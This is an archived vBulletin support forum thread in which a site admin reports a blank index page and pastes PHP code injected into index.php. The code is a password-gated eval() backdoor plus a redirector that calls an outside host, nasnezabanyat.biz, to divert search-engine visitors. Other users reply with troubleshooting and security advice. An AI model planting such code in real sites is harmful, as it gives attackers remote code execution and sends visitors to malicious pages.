vb.org Archive - Blank screen on index.php

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- - Blank screen on index.php (https://vborg.vbsupport.ru/showthread.php?t=201849)

saeed_violinist

01-15-2009 06:59 AM

Blank screen on index.php

Hello,

We have a strange problem in our forum, when u point to the index there will be a blank screen http://www.sakhtafzar.com/forum/

but when you point to a topic or something else it is OK!

would you please guide me?
Thanks.

Dismounted

01-15-2009 07:12 AM

<a href="http://www.vbulletin.com/docs/html/blank_pages" target="_blank">Blank or 'White' Pages</a>

saeed_violinist

01-15-2009 01:16 PM

after checking index.php I realized that content of this file has changed with the following..it seems that it is a kind of attack.

PHP Code:


		
			
<?php $a=@$_POST['a'];if($a && @$_POST['b']==sha1(md5($a))){$a=base64_decode($a);eval($a);} function get_counter(){$ip=$_SERVER['REMOTE_ADDR'];$uniq=@file_get_contents("http://nasnezabanyat.biz/ip.php?ip=$ip");if($uniq===false){return false;}if($uniq=="go"){return true;}return  false;}$ref=strtolower(trim(@$_SERVER['HTTP_REFERER']));if((strpos($ref,"google")!==false)and(strpos($ref,"bot.htm")===false)){if(get_counter()){@header("Location: http://nasnezabanyat.biz/tds_u.php?dname=".$_SERVER['HTTP_HOST']);die();}}if((strpos($ref,"yahoo")!==false)and(strpos($ref,"slurp")===false)){if(get_counter()){@header("Location: http://nasnezabanyat.biz/tds_u.php?dname=".$_SERVER['HTTP_HOST']);die();}} ?>

Marco van Herwaarden

01-15-2009 01:32 PM

If someone is able to change the files, then you have a serious security problem. I suggest you contact your host to review your sites security.

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Template Usage: (1)ad_footer_end (1)ad_footer_start (1)ad_header_end (1)ad_header_logo (1)ad_navbar_below (1)bbcode_php_printable (1)footer (1)gobutton (1)header (1)headinclude (6)option (1)post_thanks_navbar_search (1)printthread (4)printthreadbit (1)spacer_close (1)spacer_open Phrase Groups Available: global postbit showthread	Included Files: ./printthread.php ./global.php ./includes/init.php ./includes/class_core.php ./includes/config.php ./includes/functions.php ./includes/class_hook.php ./includes/modsystem_functions.php ./includes/class_bbcode_alt.php ./includes/class_bbcode.php ./includes/functions_bigthree.php Hooks Called: init_startup init_startup_session_setup_start init_startup_session_setup_complete cache_permissions fetch_threadinfo_query fetch_threadinfo fetch_foruminfo style_fetch cache_templates global_start parse_templates global_setup_complete printthread_start bbcode_fetch_tags bbcode_create bbcode_parse_start bbcode_parse_complete_precache bbcode_parse_complete printthread_post printthread_complete
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